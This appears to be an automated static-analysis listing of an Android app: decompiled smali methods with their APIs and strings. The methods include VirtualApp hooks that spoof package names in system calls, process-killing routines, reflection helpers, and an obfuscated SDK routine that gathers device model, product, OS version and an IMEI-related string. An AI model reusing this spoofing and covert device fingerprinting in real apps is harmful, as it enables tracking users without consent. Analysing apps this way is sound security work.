                              Position Instruction Meta Information
                              0.prologue
                              1const/4 v1, 0x0
                              2aget-object v0, p3, v1
                              3if-nez v0, :cond_a
                              5invoke-static {v1}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
                              6move-result-object v0
                              7goto_9: return-object v0
                              8cond_a:
                              9invoke-virtual {p2, p1, p3}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                              10move-result-object v0
                              11goto/16 :goto_9
                              APIs
                              • java.lang.reflect.Field.setAccessible
                              • java.lang.reflect.Field.get
                              Position Instruction Meta Information
                              0.prologue
                              2iget-object v0, p0, Lcom/omg/tool/Type$FieldProperty;->b:Ljava/lang/reflect/Field;
                              3const/4 v1, 0x1
                              5invoke-virtual {v0, v1}, Ljava/lang/reflect/Field;->setAccessible(Z)V
                              7iget-object v0, p0, Lcom/omg/tool/Type$FieldProperty;->b:Ljava/lang/reflect/Field;
                              9invoke-virtual {v0, p1}, Ljava/lang/reflect/Field;->get(Ljava/lang/Object;)Ljava/lang/Object;
                              10move-result-object v0
                              11return-object v0
                              APIs
                              • java.lang.Integer.intValue
                              • java.lang.reflect.Method.invoke
                              Position Instruction Meta Information
                              0.prologue
                              1const/4 v0, 0x0
                              2aget-object v0, p3, v0
                              3check-cast v0, Ljava/lang/Integer;
                              5invoke-virtual {v0}, Ljava/lang/Integer;->intValue()I
                              7invoke-virtual {p2, p1, p3}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                              8move-result-object v0
                              9return-object v0
                              APIs
                              • android.os.Process.myPid
                              • android.os.Process.killProcess
                              Position Instruction Meta Information
                              0.prologue
                              2invoke-static {}, Landroid/os/Process;->myPid()I
                              3move-result v0
                              5invoke-static {v0}, Landroid/os/Process;->killProcess(I)V
                              6return-void
                              APIs
                              Strings
                              • Cannot drop a view during a scroll or layout calculation
                              Position Instruction Meta Information
                              0.prologue
                              1const/4 v1, 0x1
                              2const/4 v2, -0x1
                              4const-string v0, "Cannot drop a view during a scroll or layout calculation"
                              6invoke-virtual {p0, v0}, Laev;->assertNotInLayoutOrScroll(Ljava/lang/String;)V
                              8invoke-virtual {p0}, Ladj;->ensureLayoutState()V
                              10invoke-direct {p0}, Ladj;->resolveShouldLayoutReverse()V
                              12invoke-virtual {p0, p1}, Laev;->getPosition(Landroid/view/View;)I
                              13move-result v0
                              15invoke-virtual {p0, p2}, Laev;->getPosition(Landroid/view/View;)I
                              16move-result v3
                              17if-ge v0, v3, :cond_64
                              18move v0, v1
                              19goto_18: iget-boolean v4, p0, Ladj;->mShouldReverseLayout:Z
                              20if-nez v4, :cond_39
                              21if-ne v0, v2, :cond_28
                              23iget-object v0, p0, Ladj;->mOrientationHelper:Laec;
                              25invoke-virtual {v0, p2}, Laec;->a(Landroid/view/View;)I
                              26move-result v0
                              28invoke-virtual {p0, v3, v0}, Ladj;->scrollToPositionWithOffset(II)V
                              29goto_27: return-void
                              30cond_28:
                              31iget-object v0, p0, Ladj;->mOrientationHelper:Laec;
                              33invoke-virtual {v0, p2}, Laec;->b(Landroid/view/View;)I
                              34move-result v0
                              36iget-object v1, p0, Ladj;->mOrientationHelper:Laec;
                              38invoke-virtual {v1, p1}, Laec;->e(Landroid/view/View;)I
                              39move-result v1
                              40sub-int/2addr v0, v1
                              42invoke-virtual {p0, v3, v0}, Ladj;->scrollToPositionWithOffset(II)V
                              43goto/16 :goto_27
                              44cond_39: if-eq v0, v1, :cond_4c
                              46iget-object v0, p0, Ladj;->mOrientationHelper:Laec;
                              48invoke-virtual {v0}, Laec;->c()I
                              49move-result v0
                              51iget-object v1, p0, Ladj;->mOrientationHelper:Laec;
                              53invoke-virtual {v1, p2}, Laec;->b(Landroid/view/View;)I
                              54move-result v1
                              55sub-int/2addr v0, v1
                              57invoke-virtual {p0, v3, v0}, Ladj;->scrollToPositionWithOffset(II)V
                              58goto/16 :goto_27
                              59cond_4c:
                              60iget-object v0, p0, Ladj;->mOrientationHelper:Laec;
                              62invoke-virtual {v0}, Laec;->c()I
                              63move-result v0
                              65iget-object v1, p0, Ladj;->mOrientationHelper:Laec;
                              67invoke-virtual {v1, p2}, Laec;->a(Landroid/view/View;)I
                              68move-result v1
                              70iget-object v2, p0, Ladj;->mOrientationHelper:Laec;
                              72invoke-virtual {v2, p1}, Laec;->e(Landroid/view/View;)I
                              73move-result v2
                              74add-int/2addr v1, v2
                              75sub-int/2addr v0, v1
                              77invoke-virtual {p0, v3, v0}, Ladj;->scrollToPositionWithOffset(II)V
                              78goto/16 :goto_27
                              79cond_64: move v0, v2
                              80goto/16 :goto_18
                              Cross References
                              APIs
                              • android.os.Build.MODEL:Ljava/lang/String
                              • android.os.Build.PRODUCT:Ljava/lang/String
                              • android.os.Build$VERSION.RELEASE:Ljava/lang/String
                              Strings
                              • sdk
                              Position Instruction Meta Information
                              0.prologue
                              2iget-object v0, p0, Lsdk/nicro/lu/ps/e;->b:Landroid/content/Context;
                              4invoke-static {v0}, Lsdk/nicro/lu/a;->b(Landroid/content/Context;)Lsdk/nicro/lu/a;
                              5move-result-object v0
                              7const-string/jumbo v1, "sdk"
                              9invoke-virtual {v0, v1}, Lsdk/nicro/lu/a;->e(Ljava/lang/String;)Lsdk/nicro/lu/a;
                              10move-result-object v0
                              12invoke-virtual {v0, p1}, Lsdk/nicro/lu/a;->a(Ljava/lang/String;)Lsdk/nicro/lu/a;
                              13move-result-object v0
                              15sget-object v1, Lsdk/nicro/lu/u;->b:Ljava/lang/String;
                              17invoke-virtual {v0, v1}, Lsdk/nicro/lu/a;->d(Ljava/lang/String;)Lsdk/nicro/lu/a;
                              18move-result-object v0
                              19const/4 v1, 0x1
                              21invoke-virtual {v0, v1, p2}, Lsdk/nicro/lu/a;->a(ILjava/lang/String;)Lsdk/nicro/lu/a;
                              22move-result-object v0
                              23const/4 v1, 0x2
                              25invoke-virtual {v0, v1, p3}, Lsdk/nicro/lu/a;->a(ILjava/lang/String;)Lsdk/nicro/lu/a;
                              26move-result-object v0
                              27const/4 v1, 0x3
                              29sget-object v2, Landroid/os/Build;->MODEL:Ljava/lang/String;
                              31invoke-virtual {v0, v1, v2}, Lsdk/nicro/lu/a;->a(ILjava/lang/String;)Lsdk/nicro/lu/a;
                              32move-result-object v0
                              33const/4 v1, 0x4
                              35sget-object v2, Landroid/os/Build;->PRODUCT:Ljava/lang/String;
                              37invoke-virtual {v0, v1, v2}, Lsdk/nicro/lu/a;->a(ILjava/lang/String;)Lsdk/nicro/lu/a;
                              38move-result-object v0
                              39const/4 v1, 0x5
                              41sget-object v2, Landroid/os/Build$VERSION;->RELEASE:Ljava/lang/String;
                              43invoke-virtual {v0, v1, v2}, Lsdk/nicro/lu/a;->a(ILjava/lang/String;)Lsdk/nicro/lu/a;
                              44move-result-object v0
                              45const/4 v1, 0x6
                              47iget-object v2, p0, Lsdk/nicro/lu/ps/e;->b:Landroid/content/Context;
                              49invoke-static {v2}, Lsdk/nicro/lu/s;->a(Landroid/content/Context;)Lsdk/nicro/lu/s;
                              50move-result-object v2
                              52iget-object v3, p0, Lsdk/nicro/lu/ps/e;->b:Landroid/content/Context;
                              54invoke-virtual {v2, v3}, Lsdk/nicro/lu/s;->b(Landroid/content/Context;)Lsdk/nicro/lu/s$a;
                              55move-result-object v2
                              57invoke-virtual {v2}, Lsdk/nicro/lu/s$a;->k()Ljava/lang/String;
                              58move-result-object v2
                              60invoke-virtual {v0, v1, v2}, Lsdk/nicro/lu/a;->a(ILjava/lang/String;)Lsdk/nicro/lu/a;
                              61move-result-object v0
                              63invoke-virtual {v0}, Lsdk/nicro/lu/a;->h()V
                              64return-void
                              Cross References
                              APIs
                              • com.lody.virtual.server.am.VActivityManagerService.mPidsSelfLocked:Lcom/lody/virtual/helper/collection/SparseArray
                              • com.lody.virtual.server.am.VActivityManagerService.mPidsSelfLocked:Lcom/lody/virtual/helper/collection/SparseArray
                              • com.lody.virtual.server.am.VActivityManagerService.mPidsSelfLocked:Lcom/lody/virtual/helper/collection/SparseArray
                              • android.os.Process.killProcess
                              Position Instruction Meta Information
                              0.prologue
                              2iget-object v2, p0, Lcom/lody/virtual/server/am/VActivityManagerService;->mPidsSelfLocked:Lcom/lody/virtual/helper/collection/SparseArray;
                              3monitor-enter v2
                              4const/4 v0, 0x0
                              5move v1, v0
                              6try_start_5:
                              7iget-object v0, p0, Lcom/lody/virtual/server/am/VActivityManagerService;->mPidsSelfLocked:Lcom/lody/virtual/helper/collection/SparseArray;
                              9invoke-virtual {v0}, Lcom/lody/virtual/helper/collection/SparseArray;->size()I
                              10move-result v0
                              11if-ge v1, v0, :cond_1e
                              13iget-object v0, p0, Lcom/lody/virtual/server/am/VActivityManagerService;->mPidsSelfLocked:Lcom/lody/virtual/helper/collection/SparseArray;
                              15invoke-virtual {v0, v1}, Lcom/lody/virtual/helper/collection/SparseArray;->valueAt(I)Ljava/lang/Object;
                              16move-result-object v0
                              17check-cast v0, Lcom/lody/virtual/server/am/ProcessRecord;
                              18iget v0, v0, Lcom/lody/virtual/server/am/ProcessRecord;->pid:I
                              20invoke-static {v0}, Landroid/os/Process;->killProcess(I)V
                              21add-int/lit8 v0, v1, 0x1
                              22move v1, v0
                              23goto/16 :goto_5
                              24cond_1e: monitor-exit v2
                              25return-void
                              26catchall_20: move-exception v0
                              27monitor-exit v2
                              28try_end_22: throw v0
                              APIs
                              • com.lody.virtual.server.am.VActivityManagerService.mProcessNames:Lcom/lody/virtual/server/am/ProcessMap
                              • com.lody.virtual.server.am.VActivityManagerService.mProcessNames:Lcom/lody/virtual/server/am/ProcessMap
                              • android.os.Process.killProcess
                              Position Instruction Meta Information
                              0.prologue
                              2iget-object v1, p0, Lcom/lody/virtual/server/am/VActivityManagerService;->mProcessNames:Lcom/lody/virtual/server/am/ProcessMap;
                              3monitor-enter v1
                              4try_start_3:
                              5iget-object v0, p0, Lcom/lody/virtual/server/am/VActivityManagerService;->mProcessNames:Lcom/lody/virtual/server/am/ProcessMap;
                              7invoke-virtual {v0, p1, p2}, Lcom/lody/virtual/server/am/ProcessMap;->get(Ljava/lang/String;I)Ljava/lang/Object;
                              8move-result-object v0
                              9check-cast v0, Lcom/lody/virtual/server/am/ProcessRecord;
                              10if-eqz v0, :cond_12
                              11iget v0, v0, Lcom/lody/virtual/server/am/ProcessRecord;->pid:I
                              13invoke-static {v0}, Landroid/os/Process;->killProcess(I)V
                              14cond_12: monitor-exit v1
                              15return-void
                              16catchall_14: move-exception v0
                              17monitor-exit v1
                              18try_end_16: throw v0
                              APIs
                              • java.lang.reflect.Method.invoke
                              Position Instruction Meta Information
                              0.prologue
                              1const/4 v2, 0x0
                              2sget v0, Landroid/os/Build$VERSION;->SDK_INT:I
                              3const/16 v1, 0xf
                              4if-lt v0, v1, :cond_16
                              5array-length v0, p3
                              6if-lez v0, :cond_16
                              7aget-object v0, p3, v2
                              8instance-of v0, v0, Ljava/lang/String;
                              9if-eqz v0, :cond_16
                              11invoke-static {}, Lcom/lody/virtual/client/hook/proxies/am/MethodProxies$GetPackageAskScreenCompat;->getHostPkg()Ljava/lang/String;
                              12move-result-object v0
                              13aput-object v0, p3, v2
                              14cond_16:
                              15invoke-virtual {p2, p1, p3}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                              16move-result-object v0
                              17return-object v0
                              APIs
                              • java.lang.reflect.Method.invoke
                              Position Instruction Meta Information
                              0.prologue
                              1const/4 v2, 0x0
                              2sget v0, Landroid/os/Build$VERSION;->SDK_INT:I
                              3const/16 v1, 0xf
                              4if-lt v0, v1, :cond_16
                              5array-length v0, p3
                              6if-lez v0, :cond_16
                              7aget-object v0, p3, v2
                              8instance-of v0, v0, Ljava/lang/String;
                              9if-eqz v0, :cond_16
                              11invoke-static {}, Lcom/lody/virtual/client/hook/proxies/am/MethodProxies$SetPackageAskScreenCompat;->getHostPkg()Ljava/lang/String;
                              12move-result-object v0
                              13aput-object v0, p3, v2
                              14cond_16:
                              15invoke-virtual {p2, p1, p3}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                              16move-result-object v0
                              17return-object v0
                              APIs
                              • java.lang.reflect.Method.invoke
                              Position Instruction Meta Information
                              0.prologue
                              1const-class v0, Landroid/view/WindowManager$LayoutParams;
                              3invoke-static {p3, v0}, Lcom/lody/virtual/helper/utils/ArrayUtils;->indexOfFirst([Ljava/lang/Object;Ljava/lang/Class;)I
                              4move-result v0
                              5const/4 v1, -0x1
                              6if-eq v0, v1, :cond_15
                              7aget-object v0, p3, v0
                              8check-cast v0, Landroid/view/WindowManager$LayoutParams;
                              9if-eqz v0, :cond_15
                              11invoke-static {}, Lcom/lody/virtual/client/hook/proxies/window/session/BaseMethodProxy;->getHostPkg()Ljava/lang/String;
                              12move-result-object v1
                              13iput-object v1, v0, Landroid/view/WindowManager$LayoutParams;->packageName:Ljava/lang/String;
                              14cond_15:
                              15invoke-virtual {p2, p1, p3}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                              16move-result-object v0
                              17return-object v0
                              APIs
                              • java.lang.reflect.Method.invoke
                              Position Instruction Meta Information
                              0.prologue
                              1const-class v0, Landroid/view/inputmethod/EditorInfo;
                              3invoke-static {p3, v0}, Lcom/lody/virtual/helper/utils/ArrayUtils;->indexOfFirst([Ljava/lang/Object;Ljava/lang/Class;)I
                              4move-result v0
                              5const/4 v1, -0x1
                              6if-eq v0, v1, :cond_13
                              7aget-object v0, p3, v0
                              8check-cast v0, Landroid/view/inputmethod/EditorInfo;
                              10invoke-static {}, Lcom/lody/virtual/client/hook/proxies/input/MethodProxies$StartInputOrWindowGainedFocus;->getHostPkg()Ljava/lang/String;
                              11move-result-object v1
                              12iput-object v1, v0, Landroid/view/inputmethod/EditorInfo;->packageName:Ljava/lang/String;
                              13cond_13:
                              14invoke-virtual {p2, p1, p3}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                              15move-result-object v0
                              16return-object v0
                              Cross References
                              APIs
                              • java.lang.reflect.Field.get
                              Position Instruction Meta Information
                              0.annotation system Ldalvik/annotation/Signature;
                              1value = {
                              2"(",
                              3"Ljava/lang/Object;",
                              4")TT;"
                              5}
                              6.end annotation
                              7.prologue
                              8try_start_0:
                              9iget-object v0, p0, Lmirror/RefObject;->field:Ljava/lang/reflect/Field;
                              11invoke-virtual {v0, p1}, Ljava/lang/reflect/Field;->get(Ljava/lang/Object;)Ljava/lang/Object;
                              12try_end_5: move-result-object v0
                              13goto_6: return-object v0
                              14catch_7: move-exception v0
                              15const/4 v0, 0x0
                              16goto/16 :goto_6
                              APIs
                              • com.sdk.export.APIExporter$1.a:Landroid/app/ActivityManager
                              • android.app.ActivityManager.getRunningAppProcesses
                              Position Instruction Meta Information
                              0.annotation system Ldalvik/annotation/Signature;
                              1value = {
                              2"()",
                              3"Ljava/util/List",
                              4"<",
                              5"Landroid/app/ActivityManager$RunningAppProcessInfo;",
                              6">;"
                              7}
                              8.end annotation
                              9.prologue
                              11iget-object v0, p0, Lcom/sdk/export/APIExporter$1;->a:Landroid/app/ActivityManager;
                              13invoke-virtual {v0}, Landroid/app/ActivityManager;->getRunningAppProcesses()Ljava/util/List;
                              14move-result-object v0
                              15return-object v0
                              APIs
                              • com.sdk.export.APIExporter$1.a:Landroid/app/ActivityManager
                              • android.app.ActivityManager.getRunningTasks
                              Position Instruction Meta Information
                              0.annotation system Ldalvik/annotation/Signature;
                              1value = {
                              2"(I)",
                              3"Ljava/util/List",
                              4"<",
                              5"Landroid/app/ActivityManager$RunningTaskInfo;",
                              6">;"
                              7}
                              8.end annotation
                              9.prologue
                              11iget-object v0, p0, Lcom/sdk/export/APIExporter$1;->a:Landroid/app/ActivityManager;
                              13invoke-virtual {v0, p1}, Landroid/app/ActivityManager;->getRunningTasks(I)Ljava/util/List;
                              14move-result-object v0
                              15return-object v0
                              Cross References
                              APIs
                              • java.lang.reflect.Field.get
                              Position Instruction Meta Information
                              0.annotation system Ldalvik/annotation/Signature;
                              1value = {
                              2"()TT;"
                              3}
                              4.end annotation
                              5.prologue
                              6const/4 v0, 0x0
                              7try_start_1:
                              8iget-object v1, p0, Lmirror/RefStaticObject;->field:Ljava/lang/reflect/Field;
                              9const/4 v2, 0x0
                              11invoke-virtual {v1, v2}, Ljava/lang/reflect/Field;->get(Ljava/lang/Object;)Ljava/lang/Object;
                              12try_end_7: move-result-object v0
                              13goto_8: return-object v0
                              14catch_9: move-exception v1
                              15goto/16 :goto_8
                              APIs
                              • java.lang.reflect.Method.invoke
                              Position Instruction Meta Information
                              0.prologue
                              1array-length v0, p3
                              2add-int/lit8 v0, v0, -0x1
                              3aget-object v1, p3, v0
                              4instance-of v1, v1, Ljava/lang/String;
                              5if-eqz v1, :cond_f
                              7invoke-static {}, Lcom/lody/virtual/client/hook/proxies/am/MethodProxies$HandleIncomingUser;->getHostPkg()Ljava/lang/String;
                              8move-result-object v1
                              9aput-object v1, p3, v0
                              10cond_f:
                              11invoke-virtual {p2, p1, p3}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                              12move-result-object v0
                              13return-object v0
                              APIs
                              • java.lang.reflect.Method.invoke
                              Position Instruction Meta Information
                              0.prologue
                              1const/4 v1, 0x0
                              2aget-object v0, p3, v1
                              3instance-of v0, v0, Ljava/lang/String;
                              4if-eqz v0, :cond_d
                              6invoke-static {}, Lcom/lody/virtual/client/hook/proxies/window/MethodProxies$OverridePendingAppTransitionInPlace;->getHostPkg()Ljava/lang/String;
                              7move-result-object v0
                              8aput-object v0, p3, v1
                              9cond_d:
                              10invoke-virtual {p2, p1, p3}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                              11move-result-object v0
                              12return-object v0
                              Cross References
                              APIs
                              • java.lang.reflect.Method.invoke
                              Position Instruction Meta Information
                              0.prologue
                              2invoke-virtual {p2, p1, p3}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                              3move-result-object v0
                              4instance-of v1, v0, Landroid/os/IInterface;
                              5if-eqz v1, :cond_e
                              6check-cast v0, Landroid/os/IInterface;
                              8invoke-direct {p0, v0}, Lcom/lody/virtual/client/hook/proxies/window/MethodProxies$BasePatchSession;->proxySession(Landroid/os/IInterface;)Ljava/lang/Object;
                              9move-result-object v0
                              10cond_e: return-object v0
                              APIs
                              • java.lang.reflect.Method.invoke
                              Position Instruction Meta Information
                              0.prologue
                              2iget-object v0, p0, Lcom/omg/tool/Type$MethodProperty;->b:Ljava/lang/reflect/Method;
                              3const/4 v1, 0x1
                              4new-array v1, v1, [Ljava/lang/Object;
                              5const/4 v2, 0x0
                              6aput-object p2, v1, v2
                              8invoke-virtual {v0, p1, v1}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                              9return-void
                              Cross References
                              APIs
                              • android.accounts.Account.name:Ljava/lang/String
                              • android.accounts.Account.type:Ljava/lang/String
                              • com.lody.virtual.server.accounts.VAccountManagerService.getAccount
                              Position Instruction Meta Information
                              0.prologue
                              2iget-object v0, p2, Landroid/accounts/Account;->name:Ljava/lang/String;
                              4iget-object v1, p2, Landroid/accounts/Account;->type:Ljava/lang/String;
                              6invoke-direct {p0, p1, v0, v1}, Lcom/lody/virtual/server/accounts/VAccountManagerService;->getAccount(ILjava/lang/String;Ljava/lang/String;)Lcom/lody/virtual/server/accounts/VAccount;
                              7move-result-object v0
                              8return-object v0
                              APIs
                              • java.lang.reflect.Method.invoke
                              Position Instruction Meta Information
                              0.prologue
                              2iget-object v0, p0, Lcom/omg/tool/Reflect$Method;->a:Ljava/lang/reflect/Method;
                              4iget-object v1, p0, Lcom/omg/tool/Reflect$Method;->b:Ljava/lang/Object;
                              6invoke-virtual {v0, v1, p1}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                              7move-result-object v0
                              8return-object v0
                              APIs
                              • java.lang.reflect.Method.invoke
                              Position Instruction Meta Information
                              0.prologue
                              2iget-object v0, p0, Lcom/omg/tool/Type$MethodProperty;->c:Ljava/lang/reflect/Method;
                              3const/4 v1, 0x0
                              4new-array v1, v1, [Ljava/lang/Object;
                              6invoke-virtual {v0, p1, v1}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                              7move-result-object v0
                              8return-object v0
                              Cross References
                              APIs
                              Strings
                              • phone
                              Position Instruction Meta Information
                              0.prologue
                              2sget-object v0, Lmirror/com/android/internal/telephony/ITelephony$Stub;->asInterface:Lmirror/RefStaticMethod;
                              4const-string v1, "phone"
                              6invoke-direct {p0, v0, v1}, Lcom/lody/virtual/client/hook/base/BinderInvocationProxy;-><init>(Lmirror/RefStaticMethod;Ljava/lang/String;)V
                              7return-void
                              APIs
                              • java.lang.reflect.Method.invoke
                              Position Instruction Meta Information
                              0.prologue
                              2invoke-static {p3}, Lcom/lody/virtual/client/hook/utils/MethodParameterUtils;->replaceFirstAppPkg([Ljava/lang/Object;)Ljava/lang/String;
                              4invoke-virtual {p2, p1, p3}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                              5move-result-object v0
                              6return-object v0
                              APIs
                              • java.lang.reflect.Method.invoke
                              Position Instruction Meta Information
                              0.prologue
                              2invoke-static {p3}, Lcom/lody/virtual/client/hook/utils/MethodParameterUtils;->replaceFirstAppPkg([Ljava/lang/Object;)Ljava/lang/String;
                              4invoke-virtual {p2, p1, p3}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                              5move-result-object v0
                              6return-object v0
                              APIs
                              • java.lang.reflect.Method.invoke
                              Position Instruction Meta Information
                              0.prologue
                              2invoke-static {p3}, Lcom/lody/virtual/client/hook/utils/MethodParameterUtils;->replaceFirstAppPkg([Ljava/lang/Object;)Ljava/lang/String;
                              4invoke-virtual {p2, p1, p3}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                              5move-result-object v0
                              6return-object v0
                              APIs
                              • java.lang.reflect.Method.invoke
                              Position Instruction Meta Information
                              0.prologue
                              2invoke-static {p3}, Lcom/lody/virtual/client/hook/utils/MethodParameterUtils;->replaceFirstAppPkg([Ljava/lang/Object;)Ljava/lang/String;
                              4invoke-virtual {p2, p1, p3}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                              5move-result-object v0
                              6return-object v0
                              APIs
                              • java.lang.reflect.Method.invoke
                              Position Instruction Meta Information
                              0.prologue
                              2invoke-static {p3}, Lcom/lody/virtual/client/hook/utils/MethodParameterUtils;->replaceFirstAppPkg([Ljava/lang/Object;)Ljava/lang/String;
                              4invoke-virtual {p2, p1, p3}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                              5move-result-object v0
                              6return-object v0
                              Cross References
                              APIs
                              • java.lang.reflect.Method.invoke
                              Position Instruction Meta Information
                              0.prologue
                              2iget-object v0, p0, Lsdk/nicro/lu/q$b;->a:Ljava/lang/reflect/Method;
                              4invoke-virtual {v0, p1, p2}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                              5move-result-object v0
                              6return-object v0
                              Cross References
                              APIs
                              • java.lang.reflect.Field.get
                              Position Instruction Meta Information
                              0.prologue
                              2iget-object v0, p0, Lcom/core/model/i$a;->a:Ljava/lang/reflect/Field;
                              4invoke-virtual {v0, p1}, Ljava/lang/reflect/Field;->get(Ljava/lang/Object;)Ljava/lang/Object;
                              5move-result-object v0
                              6return-object v0
                              APIs
                              • java.lang.reflect.Method.invoke
                              Position Instruction Meta Information
                              0.prologue
                              2invoke-static {p3}, Lcom/lody/virtual/client/hook/utils/MethodParameterUtils;->replaceFirstAppPkg([Ljava/lang/Object;)Ljava/lang/String;
                              4invoke-virtual {p2, p1, p3}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                              5move-result-object v0
                              6return-object v0
                              APIs
                              • java.lang.reflect.Method.invoke
                              Position Instruction Meta Information
                              0.prologue
                              2invoke-static {p3}, Lcom/lody/virtual/client/hook/utils/MethodParameterUtils;->replaceFirstAppPkg([Ljava/lang/Object;)Ljava/lang/String;
                              4invoke-virtual {p2, p1, p3}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                              5move-result-object v0
                              6return-object v0
                              APIs
                              • java.lang.reflect.Method.invoke
                              Position Instruction Meta Information
                              0.prologue
                              2invoke-static {p3}, Lcom/lody/virtual/client/hook/utils/MethodParameterUtils;->replaceFirstAppPkg([Ljava/lang/Object;)Ljava/lang/String;
                              4invoke-virtual {p2, p1, p3}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                              5move-result-object v0
                              6return-object v0
                              APIs
                              • java.lang.reflect.Method.invoke
                              Position Instruction Meta Information
                              0.prologue
                              2invoke-static {p3}, Lcom/lody/virtual/client/hook/utils/MethodParameterUtils;->replaceFirstAppPkg([Ljava/lang/Object;)Ljava/lang/String;
                              4invoke-virtual {p2, p1, p3}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                              5move-result-object v0
                              6return-object v0
                              APIs
                              • java.lang.reflect.Method.invoke
                              Position Instruction Meta Information
                              0.prologue
                              2invoke-static {p3}, Lcom/lody/virtual/client/hook/utils/MethodParameterUtils;->replaceFirstAppPkg([Ljava/lang/Object;)Ljava/lang/String;
                              4invoke-virtual {p2, p1, p3}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                              5move-result-object v0
                              6return-object v0
                              APIs
                              • java.lang.reflect.Method.invoke
                              Position Instruction Meta Information
                              0.prologue
                              2invoke-static {p3}, Lcom/lody/virtual/client/hook/utils/MethodParameterUtils;->replaceLastAppPkg([Ljava/lang/Object;)Ljava/lang/String;
                              4invoke-virtual {p2, p1, p3}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                              5move-result-object v0
                              6return-object v0
                              APIs
                              • java.lang.reflect.Method.invoke
                              Position Instruction Meta Information
                              0.prologue
                              2invoke-static {p3}, Lcom/lody/virtual/client/hook/utils/MethodParameterUtils;->replaceFirstAppPkg([Ljava/lang/Object;)Ljava/lang/String;
                              4invoke-virtual {p2, p1, p3}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                              5move-result-object v0
                              6return-object v0
                              APIs
                              • java.lang.reflect.Method.invoke
                              Position Instruction Meta Information
                              0.prologue
                              2invoke-static {p3}, Lcom/lody/virtual/client/hook/utils/MethodParameterUtils;->replaceFirstAppPkg([Ljava/lang/Object;)Ljava/lang/String;
                              4invoke-virtual {p2, p1, p3}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                              5move-result-object v0
                              6return-object v0
                              APIs
                              • java.lang.reflect.Method.invoke
                              Position Instruction Meta Information
                              0.prologue
                              2invoke-static {p3}, Lcom/lody/virtual/client/hook/utils/MethodParameterUtils;->replaceFirstAppPkg([Ljava/lang/Object;)Ljava/lang/String;
                              4invoke-virtual {p2, p1, p3}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                              5move-result-object v0
                              6return-object v0
                              APIs
                              • java.lang.reflect.Method.invoke
                              Position Instruction Meta Information
                              0.prologue
                              2invoke-static {p3}, Lcom/lody/virtual/client/hook/utils/MethodParameterUtils;->replaceFirstAppPkg([Ljava/lang/Object;)Ljava/lang/String;
                              4invoke-virtual {p2, p1, p3}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                              5move-result-object v0
                              6return-object v0
                              APIs
                              • java.lang.reflect.Method.invoke
                              Position Instruction Meta Information
                              0.prologue
                              2invoke-static {p3}, Lcom/lody/virtual/client/hook/utils/MethodParameterUtils;->replaceFirstAppPkg([Ljava/lang/Object;)Ljava/lang/String;
                              4invoke-virtual {p2, p1, p3}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                              5move-result-object v0
                              6return-object v0
                              APIs
                              • java.lang.reflect.Method.invoke
                              Position Instruction Meta Information
                              0.prologue
                              2iget-object v0, p0, Lcom/omg/tool/Reflect$Method;->a:Ljava/lang/reflect/Method;
                              4invoke-virtual {v0, p1, p2}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                              5move-result-object v0
                              6return-object v0
                              Cross References
                              APIs
                              Strings
                              • imei
                              Position Instruction Meta Information
                              0.prologue
                              2const-string v0, "imei"
                              4invoke-direct {p0, v0}, Lb/a/cy;-><init>(Ljava/lang/String;)V
                              5iput-object p1, p0, Lb/a/f;->a:Landroid/content/Context;
                              6return-void
                              APIs
                              • java.lang.reflect.Method.invoke
